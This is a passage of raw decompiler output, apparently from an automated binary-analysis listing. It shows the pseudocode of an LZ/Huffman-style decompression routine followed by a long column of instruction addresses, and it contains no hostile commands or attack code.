																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t377 =  &_v16;
																	 *_t377 = _v16 - 1;
																	__eflags =  *_t377;
																} while ( *_t377 != 0);
																goto L146;
															}
															__eflags = _t593 - 8;
															if(_t593 < 8) {
																goto L146;
															}
															_t762 = _t593 >> 3;
															__eflags = _t762;
															_t597 = _t852;
															do {
																_a4 = _a4 - 8;
																 *_t597 =  *_t683;
																 *((char*)(_t597 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t597 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t597 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t597 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t597 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t597 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t597 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + 8;
																_t597 = _t597 + 8;
																_t762 = _t762 - 1;
																__eflags = _t762;
															} while (_t762 != 0);
															L142:
															_v12 = _t597;
															goto L146;
														}
														_t598 = E00417B97(_t936, _t852, __eflags);
														L25:
														if(_t598 != 0) {
															continue;
														} else {
															break;
														}
													}
													_t598 = E00414F0A(_t936, __eflags);
													goto L25;
												}
												_t601 =  *(_t545 + 0x430089) & 0x000000ff;
												_t695 = ( *(_t545 + 0x4300a5) & 0x000000ff) + 3;
												_v8 = _t695;
												_a4 = _t601;
												__eflags = _t601;
												if(_t601 > 0) {
													_t639 = E0040978C(_t934);
													_t809 = 0x10;
													_t642 =  *(_t934 + 4) + _a4;
													_v8 = _t695 + (_t639 >> _t809 - _a4);
													 *_t934 =  *_t934 + (_t642 >> 3);
													_t643 = _t642 & 0x00000007;
													__eflags = _t643;
													 *(_t934 + 4) = _t643;
												}
												_t602 = E0040978C(_t934);
												_t696 =  *(_t936 + 0x1004);
												_t603 = _t602 & 0x0000fffe;
												__eflags = _t603 -  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4));
												if(_t603 >=  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4))) {
													_t888 = 0xf;
													_t766 = _t696 + 1;
													__eflags = _t766 - _t888;
													if(_t766 >= _t888) {
														L107:
														_t768 =  *(_t934 + 4) + _t888;
														 *(_t934 + 4) = _t768 & 0x00000007;
														 *_t934 =  *_t934 + (_t768 >> 3);
														_t770 = 0x10;
														_t606 = (_t603 -  *((intOrPtr*)(_t936 + 0xf80 + _t888 * 4)) >> _t770 - _t888) +  *((intOrPtr*)(_t936 + 0xfc4 + _t888 * 4));
														__eflags = _t606 -  *((intOrPtr*)(_t936 + 0xf80));
														if(_t606 >=  *((intOrPtr*)(_t936 + 0xf80))) {
															_t606 = 0;
															__eflags = 0;
														}
														_t607 =  *(_t936 + 0x1c08 + _t606 * 2) & 0x0000ffff;
														goto L110;
													}
													_t700 = _t936 + 0xf84 + _t766 * 4;
													while(1) {
														__eflags = _t603 -  *_t700;
														if(_t603 <  *_t700) {
															break;
														}
														_t766 = _t766 + 1;
														_t700 = _t700 + 4;
														__eflags = _t766 - 0xf;
														if(_t766 < 0xf) {
															continue;
														}
														goto L107;
													}
													_t888 = _t766;
													goto L107;
												} else {
													_t803 = 0x10;
													_t638 = _t603 >> _t803 - _t696;
													_t806 = ( *(_t638 + _t936 + 0x1008) & 0x000000ff) +  *(_t934 + 4);
													 *_t934 =  *_t934 + (_t806 >> 3);
													 *(_t934 + 4) = _t806 & 0x00000007;
													_t607 =  *(_t936 + 0x1408 + _t638 * 2) & 0x0000ffff;
													L110:
													_t772 =  *(_t607 + 0x44f6b8) & 0x000000ff;
													_t683 =  *((intOrPtr*)(0x44f6f8 + _t607 * 4)) + 1;
													_v16 = _t683;
													_a4 = _t772;
													__eflags = _t772;
													if(_t772 <= 0) {
														L133:
														__eflags = _t683 - 0x2000;
														if(_t683 >= 0x2000) {
															_v8 = _v8 + 1;
															__eflags = _t683 - 0x40000;
															if(_t683 >= 0x40000) {
																_t281 =  &_v8;
																 *_t281 = _v8 + 1;
																__eflags =  *_t281;
															}
														}
														_t773 =  *(_t936 + 0x70);
														 *(_t936 + 0x60) =  *(_t936 + 0x5c);
														 *(_t936 + 0x5c) =  *(_t936 + 0x58);
														 *(_t936 + 0x58) =  *(_t936 + 0x54);
														_t611 = _v8;
														 *(_t936 + 0x68) = _t611;
														_a4 = _t611;
														_t613 = _t773 - _t683;
														_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
														 *(_t936 + 0x54) = _t683;
														__eflags = _t613 - _t852;
														if(_t613 >= _t852) {
															L148:
															__eflags = _v8;
															if(_v8 <= 0) {
																continue;
															}
															_t890 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t890 & _t613) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t890 =  *(_t936 + 0xe6dc);
																_t613 = _t613 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t890;
															} while (_a4 > 0);
															continue;
														} else {
															__eflags = _t773 - _t852;
															if(_t773 >= _t852) {
																goto L148;
															}
															_t893 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t893 + _t613;
															_t614 = _v8;
															_t852 = _t893 + _t773;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t773 + _t614;
															__eflags = _v16 - _t614;
															if(_v16 >= _t614) {
																__eflags = _t614 - 8;
																if(_t614 < 8) {
																	goto L146;
																}
																_t616 = _v8 >> 3;
																__eflags = _t616;
																_v16 = _t616;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t328 =  &_v16;
																	 *_t328 = _v16 - 1;
																	__eflags =  *_t328;
																} while ( *_t328 != 0);
																goto L146;
															}
															_t779 = 8;
															__eflags = _t614 - _t779;
															if(_t614 < _t779) {
																goto L146;
															}
															_t618 = _t614 >> 3;
															__eflags = _t618;
															_v16 = _t618;
															_t619 = _t852;
															do {
																_a4 = _a4 - _t779;
																 *_t619 =  *_t683;
																 *((char*)(_t619 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t619 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t619 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t619 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t619 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t619 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t619 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + _t779;
																_t619 = _t619 + _t779;
																_t318 =  &_v16;
																 *_t318 = _v16 - 1;
																__eflags =  *_t318;
															} while ( *_t318 != 0);
															goto L142;
														}
													}
													__eflags = _t607 - 9;
													if(_t607 <= 9) {
														_t620 = E0040978C(_t934);
														_t781 = 0x10;
														_t683 = _t683 + (_t620 >> _t781 - _a4);
														_t623 =  *(_t934 + 4) + _a4;
														 *_t934 =  *_t934 + (_t623 >> 3);
														_t624 = _t623 & 0x00000007;
														__eflags = _t624;
														 *(_t934 + 4) = _t624;
														L132:
														_v16 = _t683;
														goto L133;
													}
													__eflags = _t772 - 4;
													if(_t772 > 4) {
														_t634 = E0040978C(_t934);
														_t635 = _a4;
														_t798 = 0x14;
														_t636 =  *(_t934 + 4) + _t635 - 4;
														 *_t934 =  *_t934 + (_t636 >> 3);
														_t683 = _t683 + (_t634 >> _t798 - _t635 << 4);
														_t637 = _t636 & 0x00000007;
														__eflags = _t637;
														 *(_t934 + 4) = _t637;
													}
													_t625 =  *(_t936 + 0x98cc);
													__eflags = _t625;
													if(_t625 <= 0) {
														_t626 = E0040978C(_t934);
														_t901 =  *(_t936 + 0x1ef0);
														_t627 = _t626 & 0x0000fffe;
														__eflags = _t627 -  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4));
														if(_t627 >=  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4))) {
															_t902 = _t901 + 1;
															_a4 = 0xf;
															__eflags = _t902 - 0xf;
															if(_t902 >= 0xf) {
																L125:
																_t787 =  *(_t934 + 4) + _a4;
																 *_t934 =  *_t934 + (_t787 >> 3);
																_t905 = _a4;
																 *(_t934 + 4) = _t787 & 0x00000007;
																_t789 = 0x10;
																_t630 = (_t627 -  *((intOrPtr*)(_t936 + 0x1e6c + _a4 * 4)) >> _t789 - _a4) +  *((intOrPtr*)(_t936 + 0x1eb0 + _t905 * 4));
																__eflags = _t630 -  *((intOrPtr*)(_t936 + 0x1e6c));
																if(_t630 >=  *((intOrPtr*)(_t936 + 0x1e6c))) {
																	_t630 = 0;
																	__eflags = 0;
																}
																_t631 =  *(_t936 + 0x2af4 + _t630 * 2) & 0x0000ffff;
																L128:
																__eflags = _t631 - 0x10;
																if(_t631 != 0x10) {
																	_t683 = _t683 + _t631;
																	 *(_t936 + 0x98c8) = _t631;
																	goto L132;
																}
																 *(_t936 + 0x98cc) = 0xf;
																goto L116;
															}
															_t791 = _t936 + 0x1e70 + _t902 * 4;
															while(1) {
																__eflags = _t627 -  *_t791;
																if(_t627 <  *_t791) {
																	break;
																}
																_t902 = _t902 + 1;
																_t791 = _t791 + 4;
																__eflags = _t902 - 0xf;
																if(_t902 < 0xf) {
																	continue;
																}
																goto L125;
															}
															_a4 = _t902;
															goto L125;
														}
														_t792 = 0x10;
														_t632 = _t627 >> _t792 - _t901;
														_t795 = ( *(_t632 + _t936 + 0x1ef4) & 0x000000ff) +  *(_t934 + 4);
														 *_t934 =  *_t934 + (_t795 >> 3);
														 *(_t934 + 4) = _t795 & 0x00000007;
														_t631 =  *(_t936 + 0x22f4 + _t632 * 2) & 0x0000ffff;
														goto L128;
													} else {
														_t633 = _t625 - 1;
														__eflags = _t633;
														 *(_t936 + 0x98cc) = _t633;
														L116:
														_t683 = _t683 +  *(_t936 + 0x98c8);
														goto L132;
													}
												}
											}
											_t852 =  *(_t936 + 0x70);
											 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t545;
											L95:
											 *(_t936 + 0x70) =  *(_t936 + 0x70) + 1;
											continue;
										}
										_t702 = _t936 + 0x98 + _t706 * 4;
										while(1) {
											__eflags = _t541 -  *_t702;
											if(_t541 <  *_t702) {
												break;
											}
											_t706 = _t706 + 1;
											_t702 = _t702 + 4;
											__eflags = _t706 - 0xf;
											if(_t706 < 0xf) {
												continue;
											}
											goto L90;
										}
										_t852 = _t706;
										goto L90;
									}
									_t814 = 0x10;
									_t644 = _t541 >> _t814 - _t681;
									_t817 = ( *(_t644 + _t936 + 0x11c) & 0x000000ff) +  *(_t934 + 4);
									_t852 = _t817 >> 3;
									 *_t934 =  *_t934 + (_t817 >> 3);
									 *(_t934 + 4) = _t817 & 0x00000007;
									_t545 =  *(_t936 + 0x51c + _t644 * 2) & 0x0000ffff;
									goto L93;
								}
								_t683 = E00413B29(_t936 + 0x98d0);
								if(_t683 == 0xffffffff) {
									E00413A60(_t936 + 0x98d0, _t852);
									_t535 = _t936 + 0xe654;
									 *_t535 =  *(_t936 + 0xe654) & 0x00000000;
									__eflags =  *_t535;
									break;
								}
								if(_t683 !=  *((intOrPtr*)(_t936 + 0xe4bc))) {
									L81:
									 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t683;
									goto L95;
								}
								_t648 = E00413E39(_t936);
								if(_t648 != 0) {
									__eflags = _t648 - 0xffffffff;
									if(_t648 == 0xffffffff) {
										break;
									}
									__eflags = _t648 - 2;
									if(_t648 == 2) {
										break;
									}
									__eflags = _t648 - 3;
									if(__eflags != 0) {
										__eflags = _t648 - 4;
										if(_t648 != 4) {
											__eflags = _t648 - 5;
											if(_t648 != 5) {
												goto L81;
											}
											_t649 = E00413E39(_t936);
											__eflags = _t649 - 0xffffffff;
											if(_t649 == 0xffffffff) {
												break;
											}
											_a4 = _t649 + 4;
											_t651 =  *(_t936 + 0x70);
											_t852 = _t651 - 1;
											_t825 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
											__eflags = _t852 - _t825;
											if(_t852 >= _t825) {
												L77:
												__eflags = _a4;
												if(_a4 <= 0) {
													continue;
												}
												_t826 =  *(_t936 + 0xe6dc);
												do {
													_t683 =  *(_t936 + 0x70);
													_a4 = _a4 - 1;
													 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t826 & _t852) +  *((intOrPtr*)(_t936 + 0x4b34))));
													_t826 =  *(_t936 + 0xe6dc);
													_t852 = _t852 + 1;
													__eflags = _a4;
													 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t826;
												} while (_a4 > 0);
												continue;
											}
											__eflags = _t651 - _t825;
											if(_t651 >= _t825) {
												goto L77;
											}
											_t829 =  *((intOrPtr*)(_t936 + 0x4b34));
											_t683 = _t829 + _t852;
											_v8 = _t829 + _t651;
											_t831 = _a4;
											 *(_t936 + 0x70) = _t651 + _t831;
											__eflags = _t831 - 1;
											if(_t831 <= 1) {
												__eflags = _t831 - 8;
												if(_t831 < 8) {
													goto L51;
												}
												_t658 = _a4 >> 3;
												__eflags = _t658;
												_v16 = _t658;
												do {
													E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
													_v8 = _v8 + 8;
													_a4 = _a4 - 8;
													_t937 = _t937 + 0xc;
													_t683 = _t683 + 8;
													_t144 =  &_v16;
													 *_t144 = _v16 - 1;
													__eflags =  *_t144;
												} while ( *_t144 != 0);
												goto L51;
											}
											__eflags = _t831 - 8;
											if(_t831 < 8) {
												goto L51;
											}
											_t660 = _v8;
											_t832 = _t831 >> 3;
											__eflags = _t832;
											do {
												_a4 = _a4 - 8;
												 *_t660 =  *_t683;
												 *((char*)(_t660 + 1)) =  *((intOrPtr*)(_t683 + 1));
												 *((char*)(_t660 + 2)) =  *((intOrPtr*)(_t683 + 2));
												 *((char*)(_t660 + 3)) =  *((intOrPtr*)(_t683 + 3));
												 *((char*)(_t660 + 4)) =  *((intOrPtr*)(_t683 + 4));
												 *((char*)(_t660 + 5)) =  *((intOrPtr*)(_t683 + 5));
												 *((char*)(_t660 + 6)) =  *((intOrPtr*)(_t683 + 6));
												_t852 =  *((intOrPtr*)(_t683 + 7));
												 *((char*)(_t660 + 7)) =  *((intOrPtr*)(_t683 + 7));
												_t683 = _t683 + 8;
												_t660 = _t660 + 8;
												_t832 = _t832 - 1;
												__eflags = _t832;
											} while (_t832 != 0);
											goto L47;
										} else {
											_t684 = 0;
											__eflags = 0;
											_a7 = 0;
											_v16 = 0;
											while(1) {
												__eflags = _a7;
												if(_a7 != 0) {
													goto L223;
												}
												_t661 = E00413E39(_t936);
												__eflags = _t661 - 0xffffffff;
												if(_t661 != 0xffffffff) {
													__eflags = _v16 - 3;
													_t662 = _t661 & 0x000000ff;
													if(_v16 != 3) {
														_t684 = (_t684 << 8) + _t662;
														__eflags = _t684;
													} else {
														_v20 = _t662;
													}
												} else {
													_a7 = 1;
												}
												_v16 = _v16 + 1;
												__eflags = _v16 - 4;
												if(_v16 < 4) {
													continue;
												} else {
													__eflags = _a7;
													if(_a7 != 0) {
														goto L223;
													}
													_t834 =  *(_t936 + 0x70);
													_t49 = _t684 + 2; // 0x2
													_t921 = _t49;
													_a4 = _v20 + 0x20;
													_t666 = _t834 - _t921;
													_v16 = _t921;
													_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
													__eflags = _t666 - _t852;
													if(_t666 >= _t852) {
														L60:
														__eflags = _a4;
														if(_a4 > 0) {
															_t923 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t923 & _t666) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t923 =  *(_t936 + 0xe6dc);
																_t666 = _t666 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t923;
															} while (_a4 > 0);
														}
														goto L12;
													}
													__eflags = _t834 - _t852;
													if(_t834 >= _t852) {
														goto L60;
													}
													_t926 =  *((intOrPtr*)(_t936 + 0x4b34));
													_t683 = _t926 + _t666;
													_t667 = _a4;
													_t852 = _t926 + _t834;
													_v8 = _t852;
													 *(_t936 + 0x70) = _t834 + _t667;
													__eflags = _v16 - _t667;
													if(_v16 >= _t667) {
														__eflags = _t667 - 8;
														if(_t667 < 8) {
															L51:
															_t759 = _a4;
															__eflags = _t759;
															if(_t759 <= 0) {
																goto L12;
															} else {
																_t594 = _v8;
																goto L53;
															}
														} else {
															_t669 = _a4 >> 3;
															__eflags = _t669;
															_v16 = _t669;
															do {
																E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																_v8 = _v8 + 8;
																_a4 = _a4 - 8;
																_t937 = _t937 + 0xc;
																_t683 = _t683 + 8;
																_t83 =  &_v16;
																 *_t83 = _v16 - 1;
																__eflags =  *_t83;
															} while ( *_t83 != 0);
															goto L51;
														}
													}
													__eflags = _t667 - 8;
													if(_t667 >= 8) {
														_t841 = _t667 >> 3;
														__eflags = _t841;
														_t671 = _t852;
														do {
															_a4 = _a4 - 8;
															 *_t671 =  *_t683;
															 *((char*)(_t671 + 1)) =  *((intOrPtr*)(_t683 + 1));
															 *((char*)(_t671 + 2)) =  *((intOrPtr*)(_t683 + 2));
															 *((char*)(_t671 + 3)) =  *((intOrPtr*)(_t683 + 3));
															 *((char*)(_t671 + 4)) =  *((intOrPtr*)(_t683 + 4));
															 *((char*)(_t671 + 5)) =  *((intOrPtr*)(_t683 + 5));
															 *((char*)(_t671 + 6)) =  *((intOrPtr*)(_t683 + 6));
															_t852 =  *((intOrPtr*)(_t683 + 7));
															 *((char*)(_t671 + 7)) =  *((intOrPtr*)(_t683 + 7));
															_t683 = _t683 + 8;
															_t671 = _t671 + 8;
															_t841 = _t841 - 1;
															__eflags = _t841;
														} while (_t841 != 0);
														L47:
														_v8 = _t660;
													}
													goto L51;
												}
											}
											break;
										}
									} else {
										_t598 = E00417CA7(_t936, _t852, __eflags);
										goto L25;
									}
								} else {
									_t598 = E00413EE3(_t936, _t852);
									goto L25;
								}
							} else {
								E00414F83(_t936);
								_t673 =  *((intOrPtr*)(_t936 + 0x4c54));
								_t953 = _t673 -  *((intOrPtr*)(_t936 + 0x4c44));
								if(_t953 > 0) {
									L224:
									return _t673;
								}
								if(_t953 < 0) {
									L19:
									if( *((char*)(_t936 + 0x4c48)) != 0) {
										 *((char*)(_t936 + 0x4c58)) = 0;
										return _t673;
									}
									goto L20;
								}
								_t673 =  *((intOrPtr*)(_t936 + 0x4c50));
								if(_t673 >  *((intOrPtr*)(_t936 + 0x4c40))) {
									goto L224;
								}
								goto L19;
							}
						}
						L223:
						return E00414F83(_t936);
					}
					E004157DB(_t936, _a4);
					_t673 = E0041236D(_t680, _t936, _t849);
					if(_t673 == 0) {
						goto L224;
					}
					if(_a4 == 0 ||  *((char*)(_t936 + 0xe658)) == 0) {
						_t673 = E00413EE3(_t936, _t849);
						if(_t673 == 0) {
							goto L224;
						}
					}
					goto L11;
				} else {
					_v12 = 0;
					_t935 = 0;
					do {
						_t852 =  *(0x4301d0 + _t680 * 4);
						if(_t852 > 0) {
							_t4 = _t935 + 0x44f6b8; // 0x44f6b8
							_v16 = 1;
							_v16 = _v16 << _t680;
							_v8 = _t852;
							E0041A820(_t935, _t4, _t680, _t852);
							_t937 = _t937 + 0xc;
							do {
								_t678 = _v12;
								 *((intOrPtr*)(0x44f6f8 + _t935 * 4)) = _t678;
								_t935 = _t935 + 1;
								_t13 =  &_v8;
								 *_t13 = _v8 - 1;
								_v12 = _t678 + _v16;
							} while ( *_t13 != 0);
						}
						_t680 = _t680 + 1;
					} while (_t680 < 0x13);
					goto L6;
				}
			}

0x00417d80
0x00417d83
0x00417d8b
0x00417dd9
0x00417de0
0x00417de7
0x00417e20
0x00417e20
0x00417e23
0x00417e23
0x00417e29
0x00417e31
0x00000000
0x00000000
0x00417e42
0x00417e45
0x00417e4c
0x00417e58
0x00417e98
0x00417e9f
0x00418200
0x00418205
0x0041820b
0x00418210
0x00418217
0x00418244
0x00418245
0x00418248
0x0041824a
0x00418264
0x00418267
0x0041826e
0x00418271
0x00418274
0x0041827f
0x00418284
0x0041828b
0x00418291
0x00418293
0x00418293
0x00418293
0x00418295
0x0041829d
0x004182a2
0x004182a4
0x004182ba
0x004182bf
0x00418648
0x0041864a
0x00418658
0x0041865d
0x0041866b
0x00418670
0x00418786
0x0041878b
0x004189ff
0x00418a04
0x00000000
0x00000000
0x00418a16
0x00418a1d
0x00418a1e
0x00418a21
0x00418a23
0x00418a27
0x00418a2e
0x00418a34
0x00418a39
0x00418a41
0x00418a43
0x00418a43
0x00418a46
0x00418a46
0x00418a4c
0x00418a55
0x00418a5b
0x00418a61
0x00418a66
0x00418a67
0x00418a6a
0x00418a6f
0x00418a71
0x00418a77
0x00418a7a
0x00418a7c
0x00418aa1
0x00418aa1
0x00418aa7
0x00418aad
0x00418ab0
0x00418ab8
0x00418abe
0x00418ac4
0x00418ac8
0x00418acc
0x00418acc
0x00418a7e
0x00418a7e
0x00418a80
0x00000000
0x00000000
0x00418a82
0x00418a88
0x00418a8a
0x00418a8f
0x00418a94
0x00418a99
0x00418a99
0x00000000
0x00418a7c
0x00418791
0x00418796
0x0041879a
0x0041879c
0x004187aa
0x004187aa
0x004187ac
0x00000000
0x00000000
0x004187a4
0x004187a6
0x004187a7
0x004187a7
0x004187a7
0x004187b0
0x004187b3
0x004187b8
0x004187be
0x004187c3
0x004187ca
0x004187f7
0x004187f8
0x004187f9
0x004187fb
0x00418815
0x00418818
0x0041881f
0x00418825
0x00418830
0x00418835
0x0041883c
0x00418842
0x00418844
0x00418844
0x00418844
0x00418846
0x0041884e
0x00418855
0x0041885d
0x0041885e
0x00418861
0x00418864
0x00418866
0x0041886a
0x00418871
0x00418877
0x0041887c
0x0041887f
0x00418887
0x00418889
0x00418889
0x0041888c
0x0041888c
0x0041888f
0x0041889a
0x0041889d
0x004188a3
0x004188a6
0x004188a9
0x004188ab
0x004189c2
0x004189c2
0x004189c4
0x00000000
0x00000000
0x004189ca
0x004189d0
0x004189d6
0x004189d9
0x004189e1
0x004189e7
0x004189ed
0x004189f1
0x004189f5
0x004189f5
0x00000000
0x004188b1
0x004188b1
0x004188b3
0x00000000
0x00000000
0x004188b9
0x004188bf
0x004188c2
0x004188c5
0x004188c9
0x004188cc
0x004188cf
0x004188d2
0x00418920
0x00418923
0x0041894c
0x0041894c
0x00418950
0x00418956
0x0041895c
0x0041895f
0x00418961
0x00418967
0x0041896e
0x00418971
0x00418977
0x0041897e
0x00418981
0x00418987
0x0041898e
0x00418991
0x00418997
0x0041899e
0x004189a1
0x004189a7
0x004189ae
0x004189b1
0x004189ba
0x004189ba
0x004189b1
0x004189a1
0x00418991
0x00418981
0x00418971
0x00418961
0x00000000
0x00418950
0x00418928
0x00418928
0x0041892b
0x0041892e
0x00418934
0x00418939
0x0041893d
0x00418941
0x00418944
0x00418947
0x00418947
0x00418947
0x00418947
0x00000000
0x0041892e
0x004188d4
0x004188d7
0x00000000
0x00000000
0x004188d9
0x004188d9
0x004188dc
0x004188de
0x004188e0
0x004188e2
0x004188e6
0x004188eb
0x004188f1
0x004188f7
0x004188fd
0x00418903
0x00418909
0x0041890c
0x0041890f
0x00418912
0x00418915
0x00418918
0x00418918
0x00418918
0x0041891b
0x00000000
0x0041891b
0x004188ab
0x004187fd
0x00418804
0x00418804
0x00418806
0x00000000
0x00000000
0x00418808
0x00418809
0x0041880c
0x0041880f
0x00000000
0x00000000
0x00000000
0x00418811
0x00418813
0x00000000
0x00418813
0x004187ce
0x004187d1
0x004187db
0x004187e3
0x004187e8
0x004187eb
0x00000000
0x004187eb
0x00418676
0x00418679
0x0041867b
0x00000000
0x00000000
0x00418681
0x00418687
0x0041868c
0x00418694
0x0041869a
0x0041869c
0x00418747
0x00418747
0x0041874b
0x00000000
0x00000000
0x00418751
0x00418757
0x0041875d
0x00418760
0x00418768
0x0041876e
0x00418774
0x00418778
0x0041877c
0x0041877c
0x00000000
0x00418781
0x004186a2
0x004186a4
0x00000000
0x00000000
0x004186aa
0x004186b0
0x004186b3
0x004186b6
0x004186ba
0x004186bd
0x004186c0
0x004186c3
0x00418715
0x00418718
0x004185f6
0x004185f6
0x004185f9
0x004185fb
0x00000000
0x00000000
0x00418601
0x0041802c
0x0041802c
0x0041802e
0x00418030
0x00418033
0x00418039
0x0041803c
0x0041803f
0x00418042
0x00418048
0x0041804b
0x0041804e
0x00418051
0x00418057
0x0041805a
0x0041805d
0x00418060
0x00418066
0x00418069
0x0041806c
0x0041806f
0x00418075
0x00418078
0x0041807b
0x0041807e
0x00418087
0x00418087
0x0041807e
0x0041806f
0x00418060
0x00418051
0x00418042
0x00000000
0x00418033
0x0041871e
0x0041871e
0x00418721
0x00418724
0x0041872a
0x0041872f
0x00418733
0x00418737
0x0041873a
0x0041873d
0x0041873d
0x0041873d
0x0041873d
0x00000000
0x00418742
0x004186c5
0x004186c8
0x00000000
0x00000000
0x004186d0
0x004186d0
0x004186d3
0x004186d5
0x004186d7
0x004186db
0x004186e0
0x004186e6
0x004186ec
0x004186f2
0x004186f8
0x004186fe
0x00418701
0x00418704
0x00418707
0x0041870a
0x0041870d
0x0041870d
0x0041870d
0x004185c5
0x004185c5
0x00000000
0x004185c5
0x00418661
0x00417ed9
0x00417edb
0x00000000
0x00417ee1
0x00000000
0x00417ee1
0x00417edb
0x0041864e
0x00000000
0x0041864e
0x004182d1
0x004182d8
0x004182db
0x004182de
0x004182e1
0x004182e3
0x004182e7
0x004182ee
0x004182f9
0x004182fc
0x00418304
0x00418306
0x00418306
0x00418309
0x00418309
0x0041830e
0x00418313
0x00418319
0x0041831e
0x00418325
0x00418352
0x00418353
0x00418356
0x00418358
0x00418372
0x00418375
0x0041837c
0x00418382
0x0041838d
0x00418392
0x00418399
0x0041839f
0x004183a1
0x004183a1
0x004183a1
0x004183a3
0x00000000
0x004183a3
0x0041835a
0x00418361
0x00418361
0x00418363
0x00000000
0x00000000
0x00418365
0x00418366
0x00418369
0x0041836c
0x00000000
0x00000000
0x00000000
0x0041836e
0x00418370
0x00000000
0x00418327
0x00418329
0x0041832c
0x00418336
0x0041833e
0x00418343
0x00418346
0x004183ab
0x004183ab
0x004183b9
0x004183ba
0x004183bd
0x004183c0
0x004183c2
0x0041850a
0x0041850a
0x00418510
0x00418512
0x00418515
0x0041851b
0x0041851d
0x0041851d
0x0041851d
0x0041851d
0x0041851b
0x00418523
0x0041852c
0x00418532
0x00418538
0x0041853b
0x0041853e
0x00418541
0x00418546
0x00418548
0x0041854e
0x00418551
0x00418553
0x00418609
0x00418609
0x0041860d
0x00000000
0x00000000
0x00418613
0x00418619
0x0041861f
0x00418622
0x0041862a
0x00418630
0x00418636
0x0041863a
0x0041863e
0x0041863e
0x00000000
0x00418559
0x00418559
0x0041855b
0x00000000
0x00000000
0x00418561
0x00418567
0x0041856a
0x0041856d
0x00418571
0x00418574
0x00418577
0x0041857a
0x004185ca
0x004185cd
0x00000000
0x00000000
0x004185d2
0x004185d2
0x004185d5
0x004185d8
0x004185de
0x004185e3
0x004185e7
0x004185eb
0x004185ee
0x004185f1
0x004185f1
0x004185f1
0x004185f1
0x00000000
0x004185d8
0x0041857e
0x0041857f
0x00418581
0x00000000
0x00000000
0x00418583
0x00418583
0x00418586
0x00418589
0x0041858b
0x0041858d
0x00418590
0x00418595
0x0041859b
0x004185a1
0x004185a7
0x004185ad
0x004185b3
0x004185b6
0x004185b9
0x004185bc
0x004185be
0x004185c0
0x004185c0
0x004185c0
0x004185c0
0x00000000
0x0041858b
0x00418553
0x004183c8
0x004183cb
0x004184e5
0x004184ec
0x004184f2
0x004184f7
0x004184ff
0x00418501
0x00418501
0x00418504
0x00418507
0x00418507
0x00000000
0x00418507
0x004183d1
0x004183d4
0x004183d8
0x004183df
0x004183e4
0x004183ec
0x004183f8
0x004183fa
0x004183fc
0x004183fc
0x004183ff
0x004183ff
0x00418402
0x00418408
0x0041840a
0x00418420
0x00418425
0x0041842b
0x00418430
0x00418437
0x00418462
0x00418463
0x0041846a
0x0041846d
0x00418488
0x0041848b
0x00418495
0x00418497
0x0041849d
0x004184a7
0x004184ac
0x004184b3
0x004184b9
0x004184bb
0x004184bb
0x004184bb
0x004184bd
0x004184c5
0x004184c5
0x004184c8
0x004184d9
0x004184db
0x00000000
0x004184db
0x004184ca
0x00000000
0x004184ca
0x0041846f
0x00418476
0x00418476
0x00418478
0x00000000
0x00000000
0x0041847a
0x0041847b
0x0041847e
0x00418481
0x00000000
0x00000000
0x00000000
0x00418483
0x00418485
0x00000000
0x00418485
0x0041843b
0x0041843e
0x00418448
0x00418450
0x00418455
0x00418458
0x00000000
0x0041840c
0x0041840c
0x0041840c
0x0041840d
0x00418413
0x00418413
0x00000000
0x00418413
0x0041840a
0x00418325
0x004182ac
0x004182af
0x004182b2
0x004182b2
0x00000000
0x004182b2
0x0041824c
0x00418253
0x00418253
0x00418255
0x00000000
